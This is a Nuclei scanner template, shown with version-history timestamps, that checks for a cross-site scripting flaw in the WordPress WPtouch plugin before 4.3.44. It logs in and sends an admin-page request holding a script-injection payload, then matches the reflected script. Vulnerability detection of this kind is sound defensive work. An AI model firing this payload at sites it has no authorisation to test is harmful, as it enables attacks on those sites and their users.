nuclei-templates/http/vulnerabilities/wordpress/wptouch-xss.yaml

59 lines
1.9 KiB
YAML
Raw Normal View History

2022-11-24 04:30:35 +00:00
id: wptouch-xss
info:
name: WordPress WPtouch <4.3.44 - Cross-Site Scripting
2022-11-24 04:30:35 +00:00
author: akincibor
severity: medium
2022-11-24 04:31:36 +00:00
description: |
WordPress WPtouch plugin prior to 4.3.44 contains a cross-site scripting vulnerability. The plugin does not escape some URLs before outputting them back in attributes. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
2022-11-24 04:30:35 +00:00
reference:
- https://wpscan.com/vulnerability/7dbd8348-9c5d-4d62-a0f4-2b7c2b7e58e4
2022-11-24 04:31:36 +00:00
- https://wordpress.org/plugins/wptouch/advanced/
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
cvss-score: 5.4
cwe-id: CWE-80
metadata:
max-request: 2
2023-10-14 11:27:55 +00:00
tags: wp-plugin,wp,wordpress,xss,authenticated,wptouch,wpscan
2022-11-24 04:30:35 +00:00
http:
2022-11-24 04:30:35 +00:00
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
- |
GET /wp-admin/admin.php?page=wptouch-admin-license&a%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1
Host: {{Hostname}}
cookie-reuse: true
2023-10-14 11:27:55 +00:00
2022-11-24 04:30:35 +00:00
matchers-condition: and
matchers:
- type: word
part: body
words:
- '"><script>alert(document.domain)</script>'
2022-11-24 04:31:36 +00:00
- type: word
part: body
words:
- 'WPtouchCustom'
- 'WPtouchAjax'
- 'toplevel_page_wptouch-admin'
condition: or
2022-11-24 04:30:35 +00:00
- type: word
part: header
words:
- text/html
- type: status
status:
- 200
# digest: 4a0a00473045022005f4d744881d8052643081a7a31239cf52aa1075542bc556094a0484de429993022100ad8fd661a068308b28218c3d65ff71b2700382fba716d898b951d4eb332cbc18:922c64590222798bb761d5b6d8e72950